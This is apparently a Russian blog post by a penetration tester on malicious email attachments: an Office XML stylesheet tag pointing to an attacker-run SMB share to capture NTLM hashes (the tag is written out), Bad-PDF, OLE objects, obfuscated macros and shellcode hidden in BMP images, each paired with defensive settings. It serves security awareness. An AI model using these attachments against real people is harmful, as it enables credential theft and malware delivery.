![](https://habrastorage.org/webt/j-/hv/q2/j-hvq2d89iomeavboeblim7pi9y.jpeg)
Моя работа связана с тем, что я вру людям и эксплуатирую их доверчивость, любопытство, жадность и так далее. Работу я свою люблю и стараюсь подходить к ней творчески. Специфика моей деятельности связана с проведением атак методом социальной инженерии. И в этом посте я бы хотела рассказать о вредоносных вложениях.
Если вам на почту свалится PDF, откроете его? А вордовский файл? Станете открывать изображение от неизвестного источника? Можно ли нарваться на неприятности, если скачать архив? Насколько хорошо вы знаете, какие вложения представляют опасность, а какие нет? А что насчет ваших коллег?
За несколько десятков проектов я опробовала совершенно разные способы доставки полезной нагрузки до пользователя. Какие-то были весьма эффективными, какие-то легко обнаруживались – у каждого свои минусы и плюсы. Я не стану рассказывать, как упаковать исполняемые файлы с расширением .exe в архив. С таким старомодным подходом пробиться через системы защиты, а потом еще и заставить пользователя запустить вложение – себе дороже. Я расскажу, какие потенциально опасные файлы реально сегодня получить по почте (или отправить).
Дисклеймер: всё нижеописанное носит исключительно ознакомительный характер. Автор описывает опыт, полученный во время пентестов, не несет ответственности за повтор указанных атак и призывает не использовать материал в незаконных целях.
XML
Суть метода
Большинство Office-файлов основаны на Microsoft Office Open XML (OOXML), который, по сути, представляет собой сжатый XML-формат, разработанный Microsoft для представления таблиц, диаграмм, презентаций и так далее. Причастность к XML отображается в расширении документа (docx, xlsx, pptx). Весьма любопытно, что такие Office-документы можно открыть как обычный текстовый файл со всеми тегами и атрибутами. Любой Office Open XML-файл можно сохранить как XML и внести изменения в теги. Например, добавить ссылку на общедоступную папку, подконтрольную злоумышленнику. При запуске XML файл пытается подключиться к открытой общедоступной папке. При попытке подключения по smb-протоколу Windows любезно предоставляет NTLM-хеш (NTLMv2) и логин пользователя злоумышленнику.
![](https://habrastorage.org/getpro/habr/post_images/08c/d1a/28f/08cd1a28f9c6ee5699c995d8cf3377e2.png)
Реализация в двух словах
Для реализации вектора необходимо создать документ Office Open XML (docx, pptx, xlsx, etc.), сохранить его как XML. Открыть XML и внести следующие изменения:
<?xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx\test\swordfish.xsl">
В указанном теге необходимо прописать адрес общедоступной сетевой папки, к которой будет подключаться жертва.
Примечание: вместо
="\\xxx.xxx.xxx.xxx\test\swordfish.xsl
можно писать file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl
. Далее файл нужно сохранить и отправить жертве.Информацию об атаке можно найти здесь.
Примечание: в зависимости от операционной системы и настроек пользователю, возможно, придется согласиться с дополнительными условиями или замечаниями, например:
![](https://habrastorage.org/getpro/habr/post_images/0e3/175/b41/0e3175b41c0ef9cb1e79c19295710e94.png)
Статья была бы неполной без советов по защите:
- Используйте политику сложных паролей.
- Используйте NTLMv2.
- Запретите внешний трафик по smb (tcp 139/445).
Bad-pdf
Суть метода
В PDF-файл добавляется тег со ссылкой на общедоступный smb-сервер, подконтрольный злоумышленнику. Как и в примере выше, при открытии файла операционная система передает NTLM-хеш (NTLMv2) для подключения к общедоступной папке.
Реализация в двух словах
Реализовать данную атаку значительно проще, чем предыдущую. Для успешной кражи хеша достаточно скачать утилиту (git clone здесь или здесь) и дать права на исполнение (chmod +x) python-файлу. Далее запустить python-скрипт и ввести IP-адрес, название файла и интерфейс, как на рисунке ниже.
![](https://habrastorage.org/getpro/habr/post_images/318/d7c/e30/318d7ce30c76b661055d975b8875b597.png)
Генерирование файла с полезной нагрузкой.
Полученный файл можно отправить на почту под видом поздравления, документа на подпись, скана заявления и так далее. При запуске файла все хеши будут отправлены к злоумышленнику.
![](https://habrastorage.org/getpro/habr/post_images/198/0d6/dd2/1980d6dd2efd24b39c393c31f4b36611.png)
Защита
- Используйте политику сложных паролей.
- Используйте NTLMv2.
- Запретите внешний трафик по smb (tcp 139/445).
OLE-объект
Суть метода
В легитимный Office-документ встраивается скрипт, запускающийся по клику. Скрипт может быть совершенно любой, обычно это просто полезная нагрузка. Он имеет свою иконку, которую можно менять, в зависимости от желаний атакующего, вплоть до полного копирования стиля Office-документов, имитирующих сообщения об ошибках. В отличие от макросов, файл с OLE-вложением у обычных пользователей пока не вызывает подозрений.
![](https://habrastorage.org/getpro/habr/post_images/b16/113/233/b161132334ba58421370c143a9942677.png)
Реализация в двух словах
На подготовку к этой атаке придется потратить несколько больше усилий (по сравнению с теми, что выше). Первым делом необходимо сгенерировать полезную нагрузку. Далее нужно запустить сервер, на который будут приходить соединения от payload, после чего создать Word-документ, преобразовать его в RTF и добавить ссылку на полезную нагрузку. Это если кратко.
Информацию об атаке можно найти здесь.
Защита
Для защиты от таких атак рекомендуется внести следующие изменения в реестр:
HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt
Значение
Office Version
может быть равно 16.0 (Office 2016); 15.0 (Office 2013); 14.0 (Office 2010); или 12.0 (Office 2007). Значение Office application
— это имя конкретного приложения Office, то есть Word, Excel и так далее.Значение данного раздела реестра должно равняться «2», что будет означать «No prompt, Object does not execute» или фактический запрет на выполнение объектов. Значение «1» разрешает пользователю «Prompt from Office when user clicks, object executes», то есть объекты срабатывают по клику, и Office отображает соответствующее сообщение. Значение «0», в свою очередь, означает «No prompt from Office when user clicks, object executes», другими словами, объекты выполняются, но никаких сообщений от Office пользователь не получает.
Изменения можно внести, если эти функции не используются в бизнес-процессах вашей компании.
Макросы
Раз уж был упомянут OLE, то как же не упомянуть макросы?
![](https://habrastorage.org/getpro/habr/post_images/ae7/b0b/9f7/ae7b0b9f78363bd943682230cc391fb8.png)
Суть метода
Макрос — набор команд, который призван упростить работу пользователя. Потенциально можно записать абсолютно любой набор команд в макрос и таким образом получить полезную нагрузку. Для создания документа с макросом злоумышленнику достаточно обфусцировать код пейлоада и добавить код в макрос документа.
Реализация в двух словах
Способов сгенерировать макрос на данный момент существует великое множество. Можно использовать инструмент Luckystrike или остановиться на более привычном Metasploit. Можно воспользоваться msfvenom и обфусцировать макрос после генерации. Когда макрос создан, все, что нужно сделать – добавить его в Office-документ. Но в отличие от OLE-вложения, для запуска макроса нужно приложить действительно массу усилий. На данный момент очень мало пользователей запустят макросы. Windows уже научилась предупреждать о подозрительных макросах, и разговоров об их опасности было великое множество.
Защита
Для надежности рекомендую отключить исполнение макросов без уведомления.
BMP
Очень маловероятно, что вам когда-нибудь встретится BMP-вложение с шелл-кодом, так что просто знайте: и такие бывают.
Суть метода
Шелл-код встраивается в картинку в BMP-формате. Само по себе изображение в момент открытия никакой опасности не представляет. Суть не в том, чтобы дать злоумышленнику поднять сессию. Картинка нужна, чтобы лежать и ждать часа, когда злоумышленник активирует ее с помощью команды Powershell. Это метод не столько атаки, сколько обхода антивирусов и средств обнаружения вторжения.
Реализация в двух словах
Для создания картинки достаточно использовать данный репозиторий. DKMC предусматривает все, от генерации изображения до обфускации кода. Также хочу обратить внимание, что «зараженное» изображение будет содержать странные разноцветные пиксели. Это легко исправить, если обрезать видимую область изображения на 5-10 пикселей.
После создания изображения файл нужно доставить жертве и ждать подходящего случая или искать возможность запустить powershell-скрипт.
Защита
Отфильтровывать каждый bmp-файл как потенциально опасный неэффективно. Можно использовать конверторы и сохранять изображения в иных форматах, проводить инспекцию файлов на компьютерах или принять тот факт, что если у злоумышленника получилось использовать powershell-сркипт на компьютере работника, то наличие изображения с шелл-кодом не основная проблема безопасности.
Вот, собственно, и всё. Надеюсь, статья расширила ваши представления о вложениях и опасностях, которые они могут нести. Чуть позже поговорим о подозрительных ссылках.
![](https://habrastorage.org/getpro/habr/post_images/95a/62c/c68/95a62cc68d2af00c3b53b649faf4638b.png)
Екатерина Рудая (Caterin), эксперт лаборатории практического анализа защищенности, «Инфосистемы Джет»